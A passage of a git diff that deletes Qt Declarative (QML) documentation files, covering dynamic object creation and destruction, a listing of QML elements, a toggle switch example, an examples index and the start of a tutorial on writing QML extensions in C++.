file as its only argument and creates -a \l Component object from this URL. - -Once you have a \l Component, you can call its \l {Component::createObject()}{createObject()} method to create an instance of -the component. This function can take one or two arguments: -\list -\li The first is the parent for the new item. Since graphical items will not appear on the scene without a parent, it is - recommended that you set the parent this way. However, if you wish to set the parent later you can safely pass \c null to - this function. -\li The second is optional and is a map of property-value items that define initial any property values for the item. - Property values specified by this argument are applied to the object before its creation is finalized, avoiding - binding errors that may occur if particular properties must be initialized to enable other property bindings. - when certain properties have been bound to before they have been set by the code. Additionally, there are small - performance benefits when compared to defining property values and bindings after the object is created. -\endlist - -Here is an example. First there is \c Sprite.qml, which defines a simple QML component: - -\snippet doc/src/snippets/declarative/Sprite.qml 0 - -Our main application file, \c main.qml, imports a \c componentCreation.js JavaScript file -that will create \c Sprite objects: - -\snippet doc/src/snippets/declarative/createComponent.qml 0 - -Here is \c componentCreation.js. Notice it checks whether the component \l{Component::status}{status} is -\c Component.Ready before calling \l {Component::createObject()}{createObject()} -in case the QML file is loaded over a network and thus is not ready immediately. - -\snippet doc/src/snippets/declarative/componentCreation.js vars -\codeline -\snippet doc/src/snippets/declarative/componentCreation.js func -\snippet doc/src/snippets/declarative/componentCreation.js remote -\snippet doc/src/snippets/declarative/componentCreation.js func-end -\codeline -\snippet doc/src/snippets/declarative/componentCreation.js finishCreation - -If you are certain the QML file to be loaded is a local file, you could omit the \c finishCreation() -function and call \l {Component::createObject()}{createObject()} immediately: - -\snippet doc/src/snippets/declarative/componentCreation.js func -\snippet doc/src/snippets/declarative/componentCreation.js local -\snippet doc/src/snippets/declarative/componentCreation.js func-end - -Notice in both instances, \l {Component::createObject()}{createObject()} is called with -\c appWindow passed as an argument so that the created object will become a child of the -\c appWindow item in \c main.qml. Otherwise, the new item will not appear in the scene. - -When using files with relative paths, the path should -be relative to the file where \l {QML:Qt::createComponent()}{Qt.createComponent()} is executed. - -To connect signals to (or receive signals from) dynamically created objects, -use the signal \c connect() method. See -\l{QML Signal and Handler Event System#Connecting Signals to Methods and Signals} -{Connecting Signals to Methods and Signals} for more information. - - -\section2 Creating an Object from a String of QML - -If the QML is not defined until runtime, you can create a QML item from -a string of QML using the \l{QML:Qt::createQmlObject()}{Qt.createQmlObject()} function, as in the following example: - -\snippet doc/src/snippets/declarative/createQmlObject.qml 0 - -The first argument is the string of QML to create. Just like in a new file, you will need to -import any types you wish to use. The second argument is the parent item for the new item; -this should be an existing item in the scene. The third argument is the file path to associate -with the new item; this is used for error reporting. - -If the string of QML imports files using relative paths, the path should be relative -to the file in which the parent item (the second argument to the method) is defined. - - -\section1 Maintaining Dynamically Created Objects - -When managing dynamically created items, you must ensure the creation context -outlives the created item. Otherwise, if the creation context is destroyed first, -the bindings in the dynamic item will no longer work. - -The actual creation context depends on how an item is created: - -\list -\li If \l {QML:Qt::createComponent()}{Qt.createComponent()} is used, the creation context - is the QDeclarativeContext in which this method is called -\li If \l{QML:Qt::createQmlObject()}{Qt.createQmlObject()} - if called, the creation context is the context of the parent item passed to this method -\li If a \c {Component{}} item is defined and \l {Component::createObject()}{createObject()} - is called on that item, the creation context is the context in which the \c Component is defined -\endlist - -Also, note that while dynamically created objects may be used the same as other objects, they -do not have an id in QML. - - -\section1 Deleting Objects Dynamically - -In many user interfaces, it is sufficient to set an item's opacity to 0 or -to move the item off the screen instead of deleting the item. If you have -lots of dynamically created items, however, you may receive a worthwhile -performance benefit if unused items are deleted. - -Note that you should never manually delete items that were dynamically created -by QML elements (such as \l Loader and \l Repeater). Also, you should avoid deleting -items that you did not dynamically create yourself. - -Items can be deleted using the \c destroy() method. This method has an optional -argument (which defaults to 0) that specifies the approximate delay in milliseconds -before the object is to be destroyed. - -Here is an example. The \c application.qml creates five instances of the \c SelfDestroyingRect.qml -component. Each instance runs a NumberAnimation, and when the animation has finished, calls -\c destroy() on its root item to destroy itself: - -\table -\row -\li \c application.qml -\li \c SelfDestroyingRect.qml - -\row -\li \snippet doc/src/snippets/declarative/dynamicObjects-destroy.qml 0 -\li \snippet doc/src/snippets/declarative/SelfDestroyingRect.qml 0 - -\endtable - -Alternatively, the \c application.qml could have destroyed the created object -by calling \c object.destroy(). - -Note that it is safe to call destroy() on an object within that object. Objects are not destroyed the -instant destroy() is called, but are cleaned up sometime between the end of that script block and the next frame -(unless you specified a non-zero delay). - -Note also that if a \c SelfDestroyingRect instance was created statically like this: - -\qml -Item { - SelfDestroyingRect { - // ... - } -} -\endqml - -This would result in an error, since items can only be dynamically -destroyed if they were dynamically created. - -Objects created with \l{QML:Qt::createQmlObject()}{Qt.createQmlObject()} -can similarly be destroyed using \c destroy(): - -\snippet doc/src/snippets/declarative/createQmlObject.qml 0 -\snippet doc/src/snippets/declarative/createQmlObject.qml destroy -*/ diff --git a/doc/src/declarative/elements.qdoc b/doc/src/declarative/elements.qdoc deleted file mode 100644 index d2061598..00000000 --- a/doc/src/declarative/elements.qdoc +++ /dev/null @@ -1,337 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! - \page qdeclarativeelements.html - \target elements - \title QML Elements - \brief A listing of standard QML elements. - -These are the functionally grouped lists of QML elements as part of -\l{Qt Quick}. - -Elements are declared with the their name and two curly braces. Elements may -be nested in elements, thereby creating a parent-child relationship between the -two elements. - -To see the QML elements listed by functional area, see the -\l{Groups Of Related QML Elements} page. - -\section1 Basic QML Elements -\list -\li \l {Item} - Basic item element inherited by QML elements -\li \l {Component} - Encapsulates QML elements during importing -\li \l {QML:QtObject} {QtObject} - Basic element containing only the \c {objectName} property -\endlist - -\section1 Graphics -\list -\li \l {Rectangle} - A rectangle element -\li \l {Image} - For incorporating bitmaps into a scene -\li \l {BorderImage} - Allows the use of images as borders -\li \l {AnimatedImage} - For playing animations stored in a series of frames -\li \l {Gradient} - For defining a color gradient -\li \l {GradientStop} - Used to define a color within a \l {Gradient} -\li \l {SystemPalette} - Provides access to the Qt palettes -\endlist - -\section1 Text Handling -\list -\li \l {Text} - For inserting formatted text into a scene -\li \l {TextInput} - Captures user key input -\li \l {TextEdit} - Displays multiple lines of editable formatted text -\li \l {IntValidator} - Validates values as integers -\li \l {DoubleValidator} - Validates real values -\li \l {RegExpValidator} - Validator for string regular expressions -\li \l {FontLoader} - Loads fonts by name or URL -\endlist - -\section1 Mouse and Interaction Area -\list -\li \l {MouseArea} - Sets up an area for mouse interaction -\li \l {Keys} - Provides components with attached properties to handle key input. -\li \l {FocusScope} - Element that mediate keyboard focus changes -\li \l {Flickable} - Provides a surface that can be "flicked" -\li \l {Flipable} - Provides a surface that produces "flipping" effects -\li \l {PinchArea} - Enables simple pinch gesture handling -\endlist - -\section1 Positioners and Repeater -\list -\li \l {Column} - Arranges its children vertically -\li \l {Row} - Arranges its children horizontally -\li \l {Grid} - Positions its children in a grid -\li \l {Flow} - Positions its children with wrapping support -\li \l {Repeater} - Uses a model to create multiple components -\endlist - -\section1 Transformations -\list -\li \l {Scale} - Assigns item scaling behaviors -\li \l {Rotation} - Assigns item rotation behaviors -\li \l {Translate} - Assigns item translation behaviors -\endlist - -\section1 States -\list -\li \l {State} - Defines sets of configurations of objects and properties -\li \l {PropertyChanges} - Describes property changes within a state -\li \l {StateGroup} - Contains a set of states and state transitions -\li \l {StateChangeScript} - Allows script binding in a state -\li \l {ParentChange} - Re-parent an Item in a state change -\li \l {AnchorChanges} - Change the anchors of an item in a state -\endlist - -\section1 Animation and Transitions -\list -\li \l {Transition} - Animates transitions during state changes -\li \l {SequentialAnimation} - Runs animations sequentially -\li \l {ParallelAnimation} - Runs animations in parallel -\li \l {Behavior} - Specifies a default animation for property changes -\li \l {PropertyAction} - Sets immediate property changes during animation -\li \l {PauseAnimation} - Introduces a pause in an animation -\li \l {SmoothedAnimation} - Allows a property to smoothly track a value -\li \l {SpringAnimation} - Allows a property to track a value in a spring-like motion -\li \l {ScriptAction} - Runs scripts during an animation -\endlist - -Elements that animate properties based on data types -\list -\li \l {PropertyAnimation} - Animates property changes -\li \l {NumberAnimation} - Animates properties of type qreal -\li \l {Vector3dAnimation} - Animates properties of type QVector3d -\li \l {ColorAnimation} - Animates color changes -\li \l {RotationAnimation} - Animates rotations -\li \l {ParentAnimation} - Animates parent changes -\li \l {AnchorAnimation} - Animates anchor changes -\endlist - -\section1 Models and Data Handling -\list -\li \l {ListModel} - Defines a list of data -\li \l {ListElement} - Defines a data item in a \l {ListModel} -\li \l {VisualItemModel} - Contains items that already defines its own visual delegate -\li \l {VisualDataModel} - Encapsulates a model and a delegate -\li \l {XmlListModel} - Specifies a model using XPath expressions -\li \l {XmlRole} - Specifies a role for an \l {XmlListModel} -\li \l {Binding} - Binds any value to any property -\li \l {Package} - Collection that enables sharing of items within different views -\endlist - -\section1 Views -\list -\li \l {ListView} - Provides a list visualization of a model -\li \l {GridView} - Provides a grid visualization of a model -\li \l {PathView} - Visualizes a model's contents along a path. See \l {Path Definition}{Path Elements} for more information. -\endlist - -\section1 Path Definition -\list -\li \l {Path} - Defines a path used by \l {PathView} -\li \l {PathLine} - Defines a line in \l {Path} -\li \l {PathQuad} - Defines a quadratic Bezier curve in a \l {Path} -\li \l {PathCubic} - Defines a cubic Bezier curve in a \l {Path} -\li \l {PathAttribute} - Allows the setting of attributes along a \l {Path} -\li \l {PathPercent} - Modifies the item distribution along a \l {Path} -\endlist - -\section1 Utility -\list -\li \l {Connections} - Explicitly connects signals and signal handlers -\li \l {Timer} - Provides timed triggers -\li \l {QML:Qt} {Qt} - The QML global Qt object provides useful enums and functions from Qt. -\li \l {WorkerScript} - Enables the use of threads in QML -\li \l {Loader} - Controls the loading of items or components -\li \l {LayoutItem} - Allows declarative UI elements inside Qt's Graphics View layouts -\endlist - -\section1 Graphical Effects -\list -\li \l {Particles} - Generates and animates particles -\li \l {ParticleMotionLinear} - Adds linear motion behavior to \l {Particles} -\li \l {ParticleMotionGravity} - Adds gravitational motion to \l {Particles} -\li \l {ParticleMotionWander} - Adds varied motions to \l {Particles} -\li \l {ShaderEffectItem} - Enables the use of OpenGL Shading Language together with QML -\li \l {ShaderEffectSource} - Encapsulates QML item tree as a source item for \l {ShaderEffectItem} -\endlist - -\section1 Add-On Elements -These elements are not included in the \c{QtQuick 1.0} module. Their respective QML bindings -should first be obtained and installed. -\list -\li \l{WebView}{QtWebKit QML Module - WebView Element} - For displaying Web contents -\li \l{http://doc.qt.nokia.com/qtmobility-1.1.0/qml-plugins.html}{Mobility QML Plugins} -\li \l {http://doc.qt.nokia.com/qt-components-symbian-1.1/index.html}{Qt Quick Components} -\endlist - -*/ - - -/*! - \group qml-groups - \title Groups Of Related QML Elements - - \brief If you know what kind of QML element you want (Basic Visual, - Interaction, Animation, etc), look here. - - This is a list of functional groups of QML elements. - - \generatelist{related} - -*/ - -/*! - \group qml-basic-visual-elements - \title Basic QML Visual Elements - \ingroup qml-groups - - \brief Elements for constructing basic visual items. - - \generatelist{related} - -*/ - -/*! - \group qml-basic-interaction-elements - \title Basic QML Interaction Elements - \ingroup qml-groups - - \brief Elements for handling basic interactions. - - \generatelist{related} - -*/ - -/*! - \group qml-state-elements - \title QML State Elements - \ingroup qml-groups - - \brief Elements for handling state changes. - - \generatelist{related} - -*/ - -/*! - \group qml-event-elements - \title QML Event Elements - \ingroup qml-groups - - \brief Elements for handling events. - - \generatelist{related} - -*/ - -/*! - \group qml-animation-transition - \title QML Animation and Transition Elements - \ingroup qml-groups - - \brief Elements for handling animations and transitions. - - \generatelist{related} - -*/ - -/*! - \group qml-working-with-data - \title Working With Data in QML - \ingroup qml-groups - - \brief Elements for working with data. - - \generatelist{related} - -*/ - -/*! - \group qml-view-elements - \title QML View Elements - \ingroup qml-groups - - \brief Elements for handling views. - - \generatelist{related} - -*/ - -/*! - \group qml-positioning-elements - \title QML Positioning Elements - \ingroup qml-groups - - \brief Elements for positioning items. - - \generatelist{related} - -*/ - -/*! - \group qml-utility-elements - \title QML Utility Elements - \ingroup qml-groups - - \brief Elements for handling misc operations. - - \generatelist{related} - -*/ - -/*! - \group qml-transform-elements - \title QML Transform Elements - \ingroup qml-groups - - \brief Elements for handling transformations. - - \generatelist{related} - -*/ - -/*! - \group qml-particle-elements - \title QML Particle Elements - \ingroup qml-groups - - \brief Elements for handling particle effects. - - \generatelist{related} - -*/ - -/*! - \group qml-shader-elements - \title QML Shader Elements - \ingroup qml-groups - - \brief Elements for using OpenGL shading language code together with the QML code. - - \generatelist{related} - -*/ diff --git a/doc/src/declarative/example-slideswitch.qdoc b/doc/src/declarative/example-slideswitch.qdoc deleted file mode 100644 index 28c0d32b..00000000 --- a/doc/src/declarative/example-slideswitch.qdoc +++ /dev/null @@ -1,129 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qdeclarativeexampletoggleswitch.html -\title QML Example - Toggle Switch - -This example shows how to create a reusable switch component in QML. - -The code for this example can be found in the \c $QTDIR/examples/declarative/ui-components/slideswitch directory. - -The elements that compose the switch are: - -\list -\li a \c on property (the interface to interact with the switch), -\li two images (the background image and the knob), -\li two mouse regions for user interation (on the background image and on the knob), -\li two states (a \e on state and a \e off state), -\li two functions or slots to react to the user interation (\c toggle() and \c dorelease()), -\li and a transition that describe how to go from one state to the other. -\endlist - -\section1 Switch.qml -\snippet examples/declarative/ui-components/slideswitch/content/Switch.qml 0 - -\section1 Walkthrough - -\section2 Interface -\snippet examples/declarative/ui-components/slideswitch/content/Switch.qml 1 - -This property is the interface of the switch. By default, the switch is off and this property is \c false. -It can be used to activate/disactivate the switch or to query its current state. - -In this example: - -\qml -Item { - Switch { - id: mySwitch - on: true - } - Text { - text: "The switch is on" - visible: mySwitch.on == true - } -} -\endqml - -the text will only be visible when the switch is on. - -\section2 Images and user interaction -\snippet examples/declarative/ui-components/slideswitch/content/Switch.qml 4 - -First, we create the background image of the switch. -In order for the switch to toggle when the user clicks on the background, we add a \l{MouseArea} as a child item of the image. -A \c MouseArea has a \c onClicked property that is triggered when the item is clicked. For the moment we will just call a -\c toggle() function. We will see what this function does in a moment. - -\snippet examples/declarative/ui-components/slideswitch/content/Switch.qml 5 - -Then, we place the image of the knob on top of the background. -The interaction here is a little more complex. We want the knob to move with the finger when it is clicked. That is what the \c drag -property of the \c MouseArea is for. We also want to toggle the switch if the knob is released between state. We handle this case -in the \c dorelease() function that is called in the \c onReleased property. - -\section2 States -\snippet examples/declarative/ui-components/slideswitch/content/Switch.qml 6 - -We define the two states of the switch: -\list -\li In the \e on state the knob is on the right (\c x position is 78) and the \c on property is \c true. -\li In the \e off state the knob is on the left (\c x position is 1) and the \c on property is \c false. -\endlist - -For more information on states see \l{qmlstates}{QML States}. - -\section2 Functions - -We add two JavaScript functions to our switch: - -\snippet examples/declarative/ui-components/slideswitch/content/Switch.qml 2 - -This first function is called when the background image or the knob are clicked. We simply want the switch to toggle between the two -states (\e on and \e off). - - -\snippet examples/declarative/ui-components/slideswitch/content/Switch.qml 3 - -This second function is called when the knob is released and we want to make sure that the knob does not end up between states -(neither \e on nor \e off). If it is the case call the \c toggle() function otherwise we do nothing. - -For more information on scripts see \l{Integrating JavaScript}. - -\section2 Transition -\snippet examples/declarative/ui-components/slideswitch/content/Switch.qml 7 - -At this point, when the switch toggles between the two states the knob will instantly change its \c x position between 1 and 78. -In order for the the knob to move smoothly we add a transition that will animate the \c x property with an easing curve for a duration of 200ms. - -For more information on transitions see \l{QML Animation and Transitions}. - -\section1 Usage -The switch can be used in a QML file, like this: -\snippet examples/declarative/ui-components/slideswitch/slideswitch.qml 0 -*/ diff --git a/doc/src/declarative/examples.qdoc b/doc/src/declarative/examples.qdoc deleted file mode 100644 index 2d7f7cf8..00000000 --- a/doc/src/declarative/examples.qdoc +++ /dev/null @@ -1,243 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! - \page qdeclarativeexamples.html - \title QML Examples and Demos - \brief Building UIs with QML - \ingroup all-examples - - -Qt includes a set of examples and demos that show how to use various aspects -of QML. The examples are small demonstrations of particular QML components, -while the demos contain more complete and functional applications. - -To run the examples and demos, open them in Qt Creator or use the included -\l {QML Viewer} tool. The \l {QML Viewer} can be run from the command line: - -\code - qmlviewer $QTDIR/demos/declarative/samegame/samegame.qml -\endcode - -On Mac OS X, you can run the included "QMLViewer" application from the -Finder, or use the command line: - -\code - QMLViewer.app/Contents/MacOS/QMLViewer $QTDIR/demos/declarative/samegame/samegame.qml -\endcode - - -\section1 Demos - -The QML demos integrate a variety of features to demonstrate how QML -can be used to produce sophisticated interfaces and applications: - - -\table -\row - -\li -\l{demos/declarative/calculator}{Calculator} -\image qml-calculator-example-small.png - -\li -\l{demos/declarative/flickr}{Flickr Mobile} -\image qml-flickr-demo-small.png - -\li -\l{demos/declarative/minehunt}{Minehunt} -\image qml-minehunt-demo-small.png - -\row - -\li -\l{demos/declarative/photoviewer}{Photo Viewer} -\image qml-photoviewer-demo-small.png - -\li -\l{demos/declarative/rssnews}{RSS News Reader} -\image qml-rssnews-demo-small.png - -\li -\l{demos/declarative/samegame}{Same Game} -\image qml-samegame-demo-small.png - -\row - -\li -\l{demos/declarative/snake}{Snake} -\image qml-snake-demo-small.png - -\li -\l{demos/declarative/twitter}{Twitter} -\image qml-twitter-demo-small.png - -\li -\l{demos/declarative/webbrowser}{Web Browser} -\image qml-webbrowser-demo-small.png - -\endtable - -The demos can be found in Qt's \c demos/declarative directory. - - -\section1 Examples - -The QML examples are small, simple applications that show how to use a particular -QML component or feature. If you are new -to QML, you may also find the \l{QML Tutorial}{Hello World} and -\l {QML Advanced Tutorial}{Same Game} tutorials useful. - -The examples can be found in Qt's \c examples/declarative directory. - -\section2 Animation -\list -\li \l{declarative/animation/basics/color-animation}{Color Animation} -\li \l{declarative/animation/behaviors/behavior-example}{Behaviors} -\li \l{declarative/animation/easing}{Easing} -\li \l{declarative/animation/basics/property-animation}{Property Animation} -\li \l{declarative/animation/states}{States} -\li \l{declarative/animation/behaviors/wigglytext}{Wiggly Text} -\endlist - -\section2 Image Elements -\list -\li \l{declarative/imageelements/borderimage}{BorderImage} -\li \l{declarative/imageelements/image}{Image} -\endlist - -\section2 Text -\list -\li \l{declarative/text/fonts}{Fonts} -\li \l{declarative/text/textselection}{Text Selection} -\endlist - -\section2 Positioners -\list -\li \l{declarative/positioners}{Example} -\endlist - -\section2 Key Interaction -\list -\li \l{declarative/keyinteraction/focus}{Focus} -\endlist - -\section2 Touch Interaction -\list -\li \l{declarative/touchinteraction/mousearea}{MouseArea} -\endlist - -\section2 UI Components -\list -\li \l{declarative/ui-components/dialcontrol}{Dial control} -\li \l{declarative/ui-components/flipable}{Flipable} -\li \l{declarative/ui-components/progressbar}{Progress bar} -\li \l{declarative/ui-components/scrollbar}{Scroll bar} -\li \l{declarative/ui-components/searchbox}{Search box} -\li \l{declarative/ui-components/slideswitch}{Slide switch} -\li \l{declarative/ui-components/spinner}{Spinner} -\li \l{declarative/ui-components/tabwidget}{Tab widget} -\endlist - -\section2 Toys -\list -\li \l{declarative/toys/clocks}{Clocks} -\li \l{declarative/toys/corkboards}{Corkboards} -\li \l{declarative/toys/dynamicscene}{Dynamic Scene} -\li \l{declarative/toys/tic-tac-toe}{Tic Tac Toe} -\li \l{declarative/toys/tvtennis}{TV Tennis} -\endlist - -\section2 Models and Views -\list -\li \l{declarative/modelviews/gridview}{GridView} -\li \l{Models and Views: ListView Examples}{ListView} -\li \l{declarative/modelviews/pathview}{PathView} -\li \l{declarative/modelviews/package}{Package} -\li \l{declarative/modelviews/parallax}{Parallax} -\li \l{declarative/modelviews/visualitemmodel}{VisualItemModel} - -\li \l{declarative/modelviews/stringlistmodel}{String ListModel} -\li \l{declarative/modelviews/objectlistmodel}{Object ListModel} -\li \l{declarative/modelviews/abstractitemmodel}{AbstractItemModel} - -\li \l{Models and Views: WebView Examples}{WebView} -\endlist - -\section2 XML -\list -\li \l{declarative/xml/xmlhttprequest}{XmlHttpRequest} -\endlist - -\section2 Internationalization (i18n) -\list -\li \l{declarative/i18n}{Example} -\endlist - -\section2 Right-to-left User Interfaces -\list -\li \l{declarative/righttoleft/layoutmirroring}{Layout mirroring} -\li \l{declarative/righttoleft/layoutdirection}{Layout direction} -\li \l{declarative/righttoleft/textalignment}{Text alignment} -\endlist - -\section2 Threading -\list -\li \l{declarative/threading/threadedlistmodel}{Threaded ListModel} -\li \l{declarative/threading/workerscript}{WorkerScript} -\endlist - -\section2 Screen Orientation -\list -\li \l{declarative/screenorientation}{Example} -\endlist - -\section2 SQL Local Storage -\list -\li \l{declarative/sqllocalstorage}{Example} -\endlist - -\section2 C++ Extensions -\list -\li \l{declarative-cppextensions-reference.html}{Reference examples} -\li \l{declarative/cppextensions/plugins}{Plugins} -\li \l{declarative-cppextensions-qgraphicslayouts.html}{QGraphicsLayouts} -\li \l{declarative/cppextensions/qwidgets}{QWidgets} -\li \l{declarative/cppextensions/imageprovider}{Image provider} -\li \l{declarative/cppextensions/networkaccessmanagerfactory}{Network access manager factory} -\endlist - - -\section1 Labs - -\list -\li \l{src/imports/folderlistmodel}{Folder List Model} - a C++ model plugin -\li \l{declarative/shadereffects}{Shader Effects} -\endlist - -*/ - diff --git a/doc/src/declarative/extending-tutorial.qdoc b/doc/src/declarative/extending-tutorial.qdoc deleted file mode 100644 index 00d611d6..00000000 --- a/doc/src/declarative/extending-tutorial.qdoc +++ /dev/null @@ -1,497 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-extending-tutorial-index.html -\title Tutorial: Writing QML Extensions with C++ - -The Qt Declarative module provides a set of APIs for extending QML through -C++ extensions. You can write extensions to add your own QML types, extend existing -Qt types, or call C/C++ functions that are not accessible from ordinary QML code. - -This tutorial shows how to write a QML extension using C++ that includes -core QML features, including properties, signals and bindings. It also shows how -extensions can be deployed through plugins. - -You can find the source code for this tutorial in \c Qt's -examples/declarative/tutorials/extending directory. - -Tutorial chapters: - -\list 1 -\li \l{declarative/tutorials/extending/chapter1-basics}{Creating a New Type} -\li \l{declarative/tutorials/extending/chapter2-methods}{Connecting to C++ Methods and Signals} -\li \l{declarative/tutorials/extending/chapter3-bindings}{Property Binding} -\li \l{declarative/tutorials/extending/chapter4-customPropertyTypes}{Using Custom Property Types} -\li \l{declarative/tutorials/extending/chapter5-listproperties}{Using List Property Types} -\li \l{declarative/tutorials/extending/chapter6-plugins}{Writing an Extension Plugin} -\li \l{qml-extending-tutorial7.html}{In Summary} -\endlist - -*/ - -/*! -\title Chapter 1: Creating a New Type - -\example declarative/tutorials/extending/chapter1-basics - -A common task when extending QML is to provide a new QML type that supports some - custom functionality beyond what is provided by the built-in \l {QML Elements}. -For example, this could be done to implement particular data models, or provide -elements with custom painting and drawing capabilities, or access system features -like network programming that are not accessible through built-in QML features. - -In this tutorial, we will show how to use the C++ classes in the Qt Declarative -module to extend QML. The end result will be a simple Pie Chart display implemented by -several custom QML types connected together through QML features like bindings and -signals, and made available to the QML runtime through a plugin. - -To begin with, let's create a new QML type called "PieChart" that has two properties: a name -and a color. We will make it available in a \l {Modules}{module} called "Charts", with -a module version of 1.0. - -We want this \c PieChart type to be usable from QML like this: - -\code - import Charts 1.0 - - PieChart { - width: 100; height: 100 - name: "A simple pie chart" - color: "red" - } -\endcode - -To do this, we need a C++ class that encapsulates this \c PieChart type and its two -properties. Since QML makes extensive use of Qt's \l{Meta-Object System}{meta object system}, -this new class must: - -\list -\li Inherit from QObject -\li Declare its properties using the Q_PROPERTY macro -\endlist - -Here is our \c PieChart class, defined in \c piechart.h: - -\snippet declarative/tutorials/extending/chapter1-basics/piechart.h 0 - -The class inherits from QDeclarativeItem because we want to override -QDeclarativeItem::paint() in order to draw. If the class just represented some -data type and was not an item that actually needed to be displayed, it could simply inherit -from QObject. Or, if we want to extend the functionality of an existing QObject-based -class, it could inherit from that class instead. - -The \c PieChart class defines the two properties, \c name and \c color, with the Q_PROPERTY macro, -and overrides QDeclarativeItem::paint(). The class implementation in \c piechart.cpp -simply sets and returns the \c m_name and \c m_color values as appropriate, and -implements \c paint() to draw a simple pie chart. It also turns off the -QGraphicsItem::ItemHasNoContents flag to enable painting: - -\snippet declarative/tutorials/extending/chapter1-basics/piechart.cpp 0 -\dots 0 -\snippet declarative/tutorials/extending/chapter1-basics/piechart.cpp 1 - -Now that we have defined the \c PieChart type, we will use it from QML. The \c app.qml -file creates a \c PieChart item and display the pie chart's details -using a standard QML \l Text item: - -\snippet declarative/tutorials/extending/chapter1-basics/app.qml 0 - -Notice that although the color is specified as a string in QML, it is automatically -converted to a QColor object for the PieChart \c color property. Automatic conversions are -provided for various other \l {QML Basic Types}{basic types}; for example, a string -like "640x480" can be automatically converted to a QSize value. - -We'll also create a C++ application that uses a QDeclarativeView to run and -display \c app.qml. The application must register the \c PieChart type -using the qmlRegisterType() function, to allow it to be used from QML. If -you don't register the type, \c app.qml won't be able to create a \c PieChart. - -Here is the application \c main.cpp: - -\snippet declarative/tutorials/extending/chapter1-basics/main.cpp 0 - -This call to qmlRegisterType() registers the \c PieChart type as a type called "PieChart", in a module named "Charts", -with a module version of 1.0. - -Lastly, we write a \c .pro project file that includes the files and the \c declarative library: - -\quotefile declarative/tutorials/extending/chapter1-basics/chapter1-basics.pro - -Now we can build and run the application: - -\image extending-tutorial-chapter1.png - -Try it yourself with the code in Qt's \c examples/tutorials/extending/chapter1-basics directory. - -At the moment, the \c app.qml is run from within a C++ application. -This may seem odd if you're used to running QML files with the \l {QML Viewer}. -Later on, we'll show how to create a plugin so that you can run \c app.qml using the -\l {QML Viewer} instead. - -*/ - - -/*! -\title Chapter 2: Connecting to C++ Methods and Signals - -\example declarative/tutorials/extending/chapter2-methods - -Suppose we want \c PieChart to have a "clearChart()" method that erases the -chart and then emits a "chartCleared" signal. Our \c app.qml would be able -to call \c clearChart() and receive \c chartCleared() signals like this: - -\snippet declarative/tutorials/extending/chapter2-methods/app.qml 0 - -\image extending-tutorial-chapter2.png - -To do this, we add a \c clearChart() method and a \c chartCleared() signal -to our C++ class: - -\snippet declarative/tutorials/extending/chapter2-methods/piechart.h 0 -\dots -\snippet declarative/tutorials/extending/chapter2-methods/piechart.h 1 -\dots -\snippet declarative/tutorials/extending/chapter2-methods/piechart.h 2 -\dots -\snippet declarative/tutorials/extending/chapter2-methods/piechart.h 3 - -The use of Q_INVOKABLE makes the \c clearChart() method available to the -Qt Meta-Object system, and in turn, to QML. Note that it could have -been declared as as a Qt slot instead of using Q_INVOKABLE, as -slots are also callable from QML. Both of these approaches are valid. - -The \c clearChart() method simply changes the color to Qt::transparent, -repaints the chart, then emits the \c 